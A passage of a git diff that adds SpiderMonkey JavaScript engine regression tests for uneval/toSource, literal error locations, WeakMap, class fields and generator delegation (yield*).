+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-bug567606.js b/js/src/tests/non262/extensions/uneval/regress-bug567606.js
new file mode 100644
index 0000000000..7123f8e36b
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-bug567606.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.uneval)
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var global = this;
+
+(function() {
+ function f() {
+ this.b = function() {};
+ Object.defineProperty(this, "b", ({
+ configurable: global.__defineSetter__("", function() {})
+ }));
+ }
+ for (y of [0]) {
+ _ = new f();
+ }
+})();
+uneval(this);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/uneval/strict-function-toSource.js b/js/src/tests/non262/extensions/uneval/strict-function-toSource.js
new file mode 100644
index 0000000000..383da34df6
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/strict-function-toSource.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Bug 800407 - Functions defined with Function construcor
+ * do have strict mode when JSOPTION_STRICT_MODE is on.
+ */
+
+options("strict_mode");
+function testRunOptionStrictMode(str, arg, result) {
+ var strict_inner = new Function('return typeof this == "undefined";');
+ return strict_inner;
+}
+let inner = testRunOptionStrictMode();
+assertEq(inner(), true);
+assertEq(eval(uneval(inner))(), true);
+
+assertEq((new Function('x', 'return x*2;')).toSource().includes('"use strict"'), false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/uneval/symbol-uneval.js b/js/src/tests/non262/extensions/uneval/symbol-uneval.js
new file mode 100644
index 0000000000..1454bc0c3a
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/symbol-uneval.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.uneval)
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq(uneval(Symbol.iterator), "Symbol.iterator");
+assertEq(uneval(Symbol()), "Symbol()");
+assertEq(uneval(Symbol("")), 'Symbol("")');
+assertEq(uneval(Symbol("ponies")), 'Symbol("ponies")');
+assertEq(uneval(Symbol.for("ponies")), 'Symbol.for("ponies")');
+
+assertEq({glyph: Symbol(undefined)}.toSource(), "({glyph:Symbol()})");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/uneval/toSource-0.js b/js/src/tests/non262/extensions/uneval/toSource-0.js
new file mode 100644
index 0000000000..60906463c7
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/toSource-0.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(eval(uneval('\x001')), '\x001');
+
+f = eval('(' + (function () { return '\x001'; }).toString() + ')');
+assertEq(f(), '\x001');
+
+assertEq(eval('\x001'.toSource()) == '\x001', true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/unterminated-literal-error-location.js b/js/src/tests/non262/extensions/unterminated-literal-error-location.js
new file mode 100644
index 0000000000..de9767a1c2
--- /dev/null
+++ b/js/src/tests/non262/extensions/unterminated-literal-error-location.js
@@ -0,0 +1,119 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1434429;
+var summary =
+ "Report unterminated string/template literal errors with the line/column " +
+ "number of the point of non-termination";
+
+function test(f, quotes, [line, col])
+{
+ var caught = false;
+ try
+ {
+ f();
+ }
+ catch (e)
+ {
+ caught = true;
+ assertEq(e.lineNumber, line, "line number");
+ assertEq(e.columnNumber, col, "column number");
+ assertEq(e.message.includes(quotes), true,
+ "message must contain delimiter");
+ }
+
+ assertEq(caught, true);
+}
+
+test(function() {
+ //0123
+ eval("'hi");
+}, "''", [1, 3]);
+
+test(function() {
+ //0123 4
+ eval("'hi\\");
+}, "''", [1, 4]);
+
+test(function() {
+ //0123456
+ eval(" 'hi");
+}, "''", [1, 6]);
+
+test(function() {
+ //0123456 7
+ eval(" 'hi\\");
+}, "''", [1, 7]);
+
+test(function() {
+ //01234567 01234567
+ eval('var x =\n "hi');
+}, '""', [2, 7]);
+
+test(function() {
+ //0123456 01234567 8
+ eval('var x =\n "hi\\');
+}, '""', [2, 8]);
+
+test(function() {
+ // 1
+ //0123456 01234567 012345678 01234567890123
+ eval('var x =\n "hi\\\n bye\\\n no really');
+}, '""', [4, 13]);
+
+test(function() {
+ // 1
+ //0123456 01234567 012345678 01234567890123 4
+ eval('var x =\n "hi\\\n bye\\\n no really\\');
+}, '""', [4, 14]);
+
+test(function() {
+ //0123456 01234567 012345678
+ eval('var x =\n "hi\\\n bye\n');
+}, '""', [3, 8]);
+
+test(function() {
+ //0123456 01234567 012345678 9
+ eval('var x =\n "hi\\\n bye\\');
+}, '""', [3, 9]);
+
+test(function() {
+ //0123456 01234567
+ eval('var x =\n `');
+}, '``', [2, 7]);
+
+test(function() {
+ //0123456 01234567 8
+ eval('var x =\n `\\');
+}, '``', [2, 8]);
+
+test(function() {
+ // 1
+ //0123456 0123456789012345
+ eval('var x =\n htmlEscape`');
+}, '``', [2, 15]);
+
+test(function() {
+ // 1
+ //0123456 0123456789012345 6
+ eval('var x =\n htmlEscape`\\');
+}, '``', [2, 16]);
+
+test(function() {
+ // 1
+ //0123456 01234567890123 01234
+ eval('var x =\n htmlEscape\n `');
+}, '``', [3, 4]);
+
+test(function() {
+ // 1
+ //0123456 01234567890123 01234 5
+ eval('var x =\n htmlEscape\n `\\');
+}, '``', [3, 5]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/weakmap.js b/js/src/tests/non262/extensions/weakmap.js
new file mode 100644
index 0000000000..927a4dc36b
--- /dev/null
+++ b/js/src/tests/non262/extensions/weakmap.js
@@ -0,0 +1,121 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Andreas Gal <gal@mozilla.com>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 547941;
+var summary = 'js weak maps';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var TestPassCount = 0;
+ var TestFailCount = 0;
+ var TestTodoCount = 0;
+
+ var TODO = 1;
+
+ function check(fun, todo) {
+ var thrown = null;
+ var success = false;
+ try {
+ success = fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (thrown)
+ success = false;
+
+ if (todo) {
+ TestTodoCount++;
+
+ if (success) {
+ var ex = new Error;
+ print ("=== TODO but PASSED? ===");
+ print (ex.stack);
+ print ("========================");
+ }
+
+ return;
+ }
+
+ if (success) {
+ TestPassCount++;
+ } else {
+ TestFailCount++;
+
+ var ex = new Error;
+ print ("=== FAILED ===");
+ print (ex.stack);
+ if (thrown) {
+ print (" threw exception:");
+ print (thrown);
+ }
+ print ("==============");
+ }
+ }
+
+ function checkThrows(fun, todo) {
+ let thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = true;
+ }
+
+ check(() => thrown, todo);
+ }
+
+ var key = {};
+ var map = new WeakMap();
+
+ check(() => !map.has(key));
+ check(() => map.delete(key) == false);
+ check(() => map.set(key, 42) === map);
+ check(() => map.get(key) == 42);
+ check(() => typeof map.get({}) == "undefined");
+ check(() => map.get({}, "foo") == undefined);
+
+ gc(); gc(); gc();
+
+ check(() => map.get(key) == 42);
+ check(() => map.delete(key) == true);
+ check(() => map.delete(key) == false);
+ check(() => map.delete({}) == false);
+
+ check(() => typeof map.get(key) == "undefined");
+ check(() => !map.has(key));
+ check(() => map.delete(key) == false);
+
+ var value = { };
+ check(() => map.set(new Object(), value) === map);
+ gc(); gc(); gc();
+
+ check(() => map.has("non-object key") == false);
+ check(() => map.has() == false);
+ check(() => map.get("non-object key") == undefined);
+ check(() => map.get() == undefined);
+ check(() => map.delete("non-object key") == false);
+ check(() => map.delete() == false);
+
+ check(() => map.set(key) === map);
+ check(() => map.get(key) == undefined);
+
+ checkThrows(() => map.set("non-object key", value));
+
+ print ("done");
+
+ reportCompare(0, TestFailCount, "weak map tests");
+}
diff --git a/js/src/tests/non262/fields/await-identifier-module-1.js b/js/src/tests/non262/fields/await-identifier-module-1.js
new file mode 100644
index 0000000000..71e1f51b78
--- /dev/null
+++ b/js/src/tests/non262/fields/await-identifier-module-1.js
@@ -0,0 +1,3 @@
+// |reftest| error:SyntaxError module
+
+async () => class { [await] = 1 };
diff --git a/js/src/tests/non262/fields/await-identifier-module-2.js b/js/src/tests/non262/fields/await-identifier-module-2.js
new file mode 100644
index 0000000000..1ad442d4dd
--- /dev/null
+++ b/js/src/tests/non262/fields/await-identifier-module-2.js
@@ -0,0 +1,3 @@
+// |reftest| error:SyntaxError module
+
+async () => class { x = await };
diff --git a/js/src/tests/non262/fields/await-identifier-module-3.js b/js/src/tests/non262/fields/await-identifier-module-3.js
new file mode 100644
index 0000000000..3b0400dc07
--- /dev/null
+++ b/js/src/tests/non262/fields/await-identifier-module-3.js
@@ -0,0 +1,3 @@
+// |reftest| error:SyntaxError module
+
+async () => class { x = await 1 };
diff --git a/js/src/tests/non262/fields/await-identifier-script.js b/js/src/tests/non262/fields/await-identifier-script.js
new file mode 100644
index 0000000000..a426fd9c18
--- /dev/null
+++ b/js/src/tests/non262/fields/await-identifier-script.js
@@ -0,0 +1,22 @@
+var await = 1;
+
+async function getClass() {
+ return class {
+ x = await;
+ };
+}
+
+getClass().then(cl => {
+ assertEq(new cl().x, 1);
+});
+
+assertEq(raisesException(SyntaxError)(`
+async () => class { [await] = 1 };
+`), true);
+
+assertEq(raisesException(SyntaxError)(`
+ async () => class { x = await 1 };
+`), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/browser.js b/js/src/tests/non262/fields/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/fields/browser.js
diff --git a/js/src/tests/non262/fields/bug1587574.js b/js/src/tests/non262/fields/bug1587574.js
new file mode 100644
index 0000000000..547f4e1382
--- /dev/null
+++ b/js/src/tests/non262/fields/bug1587574.js
@@ -0,0 +1,14 @@
+// Don't Crash
+var testStr = `
+class C extends Object {
+ constructor() {
+ eval(\`a => b => {
+ class Q { f = 1; } // inhibits lazy parsing
+ super();
+ }\`);
+ }
+}
+new C;`
+assertEq(raisesException(ReferenceError)(testStr), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/numeric-fields.js b/js/src/tests/non262/fields/numeric-fields.js
new file mode 100644
index 0000000000..9bd8d4abce
--- /dev/null
+++ b/js/src/tests/non262/fields/numeric-fields.js
@@ -0,0 +1,14 @@
+// Number field names.
+class C {
+ 128 = class {};
+}
+assertEq(new C()[128].name, "128");
+
+// Bigint field names.
+class D {
+ 128n = class {};
+}
+assertEq(new D()[128].name, "128");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/scopes.js b/js/src/tests/non262/fields/scopes.js
new file mode 100644
index 0000000000..39ff31c44a
--- /dev/null
+++ b/js/src/tests/non262/fields/scopes.js
@@ -0,0 +1,11 @@
+(function({
+ k = class i {
+ [_ => i]()
+ {}
+ }
+} = {}) {
+ var j = 0;
+})()
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/shell.js b/js/src/tests/non262/fields/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/fields/shell.js
diff --git a/js/src/tests/non262/fields/unimplemented.js b/js/src/tests/non262/fields/unimplemented.js
new file mode 100644
index 0000000000..49a09468ec
--- /dev/null
+++ b/js/src/tests/non262/fields/unimplemented.js
@@ -0,0 +1,57 @@
+// Field syntax doesn't crash the engine when fields are disabled.
+
+// Are fields enabled?
+let fieldsEnabled = false;
+try {
+ Function("class C { x; }");
+ fieldsEnabled = true;
+} catch (exc) {
+ assertEq(exc instanceof SyntaxError, true);
+}
+
+// If not, run these tests. (Many other tests cover actual behavior of the
+// feature when enabled.)
+if (!fieldsEnabled) {
+ let source = `class C {
+ x
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ x = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ 0 = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ [0] = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ "hi" = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ "hi" = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ d = function(){};
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ d = class D { x = 0; };
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/326466-01.js b/js/src/tests/non262/generators/326466-01.js
new file mode 100644
index 0000000000..a5123ecf71
--- /dev/null
+++ b/js/src/tests/non262/generators/326466-01.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326466;
+var summary = 'Implement Pythonic generators and iteration protocol support';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function* fib()
+{
+ var a = 0, b = 1;
+
+ while (true)
+ {
+ yield a;
+ var t = a;
+ a = b;
+ b += t;
+ }
+}
+
+var g = fib();
+
+expect = '[object Generator]';
+actual = g.toString();
+reportCompare(expect, actual, summary);
+
+var actual = [];
+var expect = [0, 1, 1, 2, 3, 5, 8, 13];
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+reportCompare(expect.join(), actual.join(), summary);
+
diff --git a/js/src/tests/non262/generators/browser.js b/js/src/tests/non262/generators/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/generators/browser.js
diff --git a/js/src/tests/non262/generators/construct-newtarget.js b/js/src/tests/non262/generators/construct-newtarget.js
new file mode 100644
index 0000000000..f2087852b0
--- /dev/null
+++ b/js/src/tests/non262/generators/construct-newtarget.js
@@ -0,0 +1,79 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const GeneratorFunction = function*(){}.constructor;
+
+
+// Test subclassing %GeneratorFunction% works correctly.
+class MyGenerator extends GeneratorFunction {}
+
+var fn = new MyGenerator();
+assertEq(fn instanceof MyGenerator, true);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyGenerator.prototype);
+
+fn = Reflect.construct(MyGenerator, []);
+assertEq(fn instanceof MyGenerator, true);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyGenerator.prototype);
+
+fn = Reflect.construct(MyGenerator, [], MyGenerator);
+assertEq(fn instanceof MyGenerator, true);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyGenerator.prototype);
+
+fn = Reflect.construct(MyGenerator, [], GeneratorFunction);
+assertEq(fn instanceof MyGenerator, false);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), GeneratorFunction.prototype);
+
+
+// Set a different constructor as NewTarget.
+fn = Reflect.construct(MyGenerator, [], Array);
+assertEq(fn instanceof MyGenerator, false);
+assertEq(fn instanceof GeneratorFunction, false);
+assertEq(Object.getPrototypeOf(fn), Array.prototype);
+
+fn = Reflect.construct(GeneratorFunction, [], Array);
+assertEq(fn instanceof GeneratorFunction, false);
+assertEq(Object.getPrototypeOf(fn), Array.prototype);
+
+
+// The prototype defaults to %GeneratorFunctionPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+fn = Reflect.construct(GeneratorFunction, [], NewTargetNullPrototype);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), GeneratorFunction.prototype);
+
+fn = Reflect.construct(MyGenerator, [], NewTargetNullPrototype);
+assertEq(fn instanceof MyGenerator, false);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), GeneratorFunction.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(GeneratorFunction, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+fn = Reflect.construct(GeneratorFunction, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), GeneratorFunction.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/create-function-parse-before-getprototype.js b/js/src/tests/non262/generators/create-function-parse-before-getprototype.js
new file mode 100644
index 0000000000..1373e6fdb3
--- /dev/null
+++ b/js/src/tests/non262/generators/create-function-parse-before-getprototype.js
@@ -0,0 +1,19 @@
+var getProtoCalled = false;
+
+var newTarget = Object.defineProperty(function(){}.bind(), "prototype", {
+ get() {
+ getProtoCalled = true;
+ return null;
+ }
+});
+
+var Generator = function*(){}.constructor;
+
+assertThrowsInstanceOf(() => {
+ Reflect.construct(Generator, ["@error"], newTarget);
+}, SyntaxError);
+
+assertEq(getProtoCalled, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-1.js b/js/src/tests/non262/generators/delegating-yield-1.js
new file mode 100644
index 0000000000..f9df1d7f89
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-1.js
@@ -0,0 +1,42 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test that yield* re-yields received results without re-boxing.
+
+function results(results) {
+ var i = 0;
+ function next() {
+ return results[i++];
+ }
+ var iter = { next: next }
+ var ret = {};
+ ret[Symbol.iterator] = function () { return iter; }
+ return ret;
+}
+
+function* yield_results(expected) {
+ return yield* results(expected);
+}
+
+function collect_results(iterable) {
+ var ret = [];
+ var result;
+ var iter = iterable[Symbol.iterator]();
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+// Sanity check.
+assertDeepEq(expected, collect_results(results(expected)));
+assertDeepEq(expected, collect_results(yield_results(expected)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-10.js b/js/src/tests/non262/generators/delegating-yield-10.js
new file mode 100644
index 0000000000..1f317023e4
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-10.js
@@ -0,0 +1,49 @@
+// Errors accessing next, done, or value don't cause an exception to be
+// thrown into the iterator of a yield*.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+
+var log = "", inner, outer;
+
+// That var is poisoooooon, p-poison poison...
+var Poison = new Error;
+
+function log_calls(method) {
+ return function () {
+ log += "x"
+ return method.call(this);
+ }
+}
+
+function poison(receiver, prop) {
+ Object.defineProperty(receiver, prop, { get: function () { throw Poison } });
+}
+
+// Poison inner.next.
+inner = g(10);
+outer = delegate(inner);
+inner.throw = log_calls(inner.throw);
+poison(inner, 'next')
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// Poison result value from inner.
+inner = g(10);
+outer = delegate(inner);
+inner.next = function () { return { done: true, get value() { throw Poison} } };
+inner.throw = log_calls(inner.throw);
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// Poison result done from inner.
+inner = g(10);
+outer = delegate(inner);
+inner.next = function () { return { get done() { throw Poison }, value: 42 } };
+inner.throw = log_calls(inner.throw);
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// mischief managed.
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-11.js b/js/src/tests/non262/generators/delegating-yield-11.js
new file mode 100644
index 0000000000..f7e6650fb9
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-11.js
@@ -0,0 +1,20 @@
+// The first call to yield* passes one arg to "next".
+
+function Iter() {
+ function next() {
+ if (arguments.length != 1)
+ throw Error;
+ return { value: 42, done: true }
+ }
+
+ this.next = next;
+ this[Symbol.iterator] = function () { return this; }
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var iter = delegate(new Iter());
+assertDeepEq(iter.next(), {value:42, done:true});
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-12.js b/js/src/tests/non262/generators/delegating-yield-12.js
new file mode 100644
index 0000000000..9ed7666e11
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-12.js
@@ -0,0 +1,49 @@
+// yield* calls @@iterator on the iterable to produce the iterator.
+
+var log = '';
+
+function IteratorWrapper(iterator) {
+ return {
+ next: function (val) {
+ log += 'n';
+ return iterator.next(val);
+ },
+
+ throw: function (exn) {
+ log += 't';
+ return iterator.throw(exn);
+ }
+ };
+}
+
+function IterableWrapper(iterable) {
+ var ret = {};
+
+ ret[Symbol.iterator] = function () {
+ log += 'i';
+ return IteratorWrapper(iterable[Symbol.iterator]());
+ }
+
+ return ret;
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var iter = delegate(IterableWrapper([1, 2, 3]));
+assertIteratorNext(iter, 1);
+assertIteratorNext(iter, 2);
+assertIteratorNext(iter, 3);
+assertIteratorDone(iter, undefined);
+
+assertEq(log, 'innnn');
+
+iter = delegate([1, 2, 3]);
+assertIteratorNext(iter, 1);
+assertIteratorNext(iter, 2);
+assertIteratorNext(iter, 3);
+assertIteratorDone(iter, undefined);
+
+assertEq(log, 'innnn');
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-2.js b/js/src/tests/non262/generators/delegating-yield-2.js
new file mode 100644
index 0000000000..34cb3f4a9f
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-2.js
@@ -0,0 +1,73 @@
+// Test yield* with iter.throw and monkeypatching.
+
+function* g1() { return (yield 1); }
+function* g2() { try { yield 1; } catch (e) { yield e; } }
+function* delegate(iter) { return yield* iter; }
+var GeneratorObjectPrototype = Object.getPrototypeOf(g1).prototype;
+var GeneratorObjectPrototype_throw = GeneratorObjectPrototype.throw;
+
+// An uncaught delegated throw.
+var inner = g1();
+var outer = delegate(inner);
+assertIteratorNext(outer, 1);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+
+// A caught delegated throw.
+inner = g2();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+assertIteratorResult(outer.throw(42), 42, false);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+
+// What would be an uncaught delegated throw, but with a monkeypatched iterator.
+inner = g1();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+inner.throw = function(e) { return { value: e*2 }; };
+assertEq(84, outer.throw(42).value);
+assertIteratorDone(outer, undefined);
+
+// Monkeypatching inner.next.
+inner = g1();
+outer = delegate(inner);
+inner.next = function() { return { value: 13, done: true } };
+assertIteratorDone(outer, 13);
+
+// What would be a caught delegated throw, but with a monkeypunched prototype.
+inner = g2();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+delete GeneratorObjectPrototype.throw;
+var outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+// yield* protocol violation: no 'throw' method
+assertThrowsInstanceOf(outer_throw_42, TypeError);
+// Now done, so just throws.
+assertThrowsValue(outer_throw_42, 42);
+
+// Monkeypunch a different throw handler.
+inner = g2();
+outer = delegate(inner);
+outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+assertIteratorNext(outer, 1);
+GeneratorObjectPrototype.throw = function(e) { return { value: e*2 }; }
+assertEq(84, outer_throw_42().value);
+assertEq(84, outer_throw_42().value);
+// This continues indefinitely.
+assertEq(84, outer_throw_42().value);
+assertIteratorDone(outer, undefined);
+
+// The same, but restoring the original pre-monkey throw.
+inner = g2();
+outer = delegate(inner);
+outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+assertIteratorNext(outer, 1);
+assertEq(84, outer_throw_42().value);
+assertEq(84, outer_throw_42().value);
+GeneratorObjectPrototype.throw = GeneratorObjectPrototype_throw;
+assertIteratorResult(outer_throw_42(), 42, false);
+assertIteratorDone(outer, undefined);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-3.js b/js/src/tests/non262/generators/delegating-yield-3.js
new file mode 100644
index 0000000000..624c12104c
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-3.js
@@ -0,0 +1,44 @@
+// Test yield* with iter.next and monkeypatching.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+var GeneratorObjectPrototype = Object.getPrototypeOf(g).prototype;
+var GeneratorObjectPrototype_next = GeneratorObjectPrototype.next;
+
+// Monkeypatch next on an iterator.
+var inner = g(20);
+var outer = delegate(inner);
+var innerNextFn = GeneratorObjectPrototype_next;
+inner.next = function() { return innerNextFn.call(this); };
+assertIteratorNext(outer, 0);
+assertIteratorNext(outer, 1);
+innerNextFn = function() { return { patched: true }; };
+// 42 yielded directly without re-boxing.
+assertEq(true, outer.next().patched);
+// Outer generator not terminated.
+assertEq(true, outer.next().patched);
+// Restore.
+innerNextFn = GeneratorObjectPrototype_next;
+assertIteratorNext(outer, 2);
+// Repatch.
+innerNextFn = function() { return { value: 42, done: true }; };
+assertIteratorDone(outer, 42);
+
+// Monkeypunch next on the prototype.
+var inner = g(20);
+var outer = delegate(inner);
+var innerNextFn = GeneratorObjectPrototype_next;
+GeneratorObjectPrototype.next = function() { return innerNextFn.call(this); };
+assertIteratorNext(outer, 0);
+assertIteratorNext(outer, 1);
+innerNextFn = function() { return { patched: true }; };
+// 42 yielded directly without re-boxing.
+assertEq(true, GeneratorObjectPrototype_next.call(outer).patched);
+// Outer generator not terminated.
+assertEq(true, GeneratorObjectPrototype_next.call(outer).patched);
+// Restore.
+innerNextFn = GeneratorObjectPrototype_next;
+assertIteratorNext(outer, 2);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-4.js b/js/src/tests/non262/generators/delegating-yield-4.js
new file mode 100644
index 0000000000..c076731727
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-4.js
@@ -0,0 +1,18 @@
+// With yield*, inner and outer iterators can be invoked separately.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+
+var inner = g(20);
+var outer1 = delegate(inner);
+var outer2 = delegate(inner);
+
+assertIteratorNext(outer1, 0);
+assertIteratorNext(outer2, 1);
+assertIteratorNext(inner, 2);
+assertIteratorNext(outer1, 3);
+assertIteratorNext(outer2, 4);
+assertIteratorNext(inner, 5);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-5.js b/js/src/tests/non262/generators/delegating-yield-5.js
new file mode 100644
index 0000000000..f4376743b0
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-5.js
@@ -0,0 +1,37 @@
+// Test that a deep yield* chain re-yields received results without
+// re-boxing.
+
+function results(results) {
+ var i = 0;
+ function next() {
+ return results[i++];
+ }
+ var iter = { next: next };
+ var ret = {};
+ ret[Symbol.iterator] = function () { return iter; }
+ return ret;
+}
+
+function* yield_results(expected, n) {
+ return yield* n ? yield_results(expected, n - 1) : results(expected);
+}
+
+function collect_results(iterable) {
+ var ret = [];
+ var result;
+ var iter = iterable[Symbol.iterator]();
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+assertDeepEq(expected, collect_results(results(expected)));
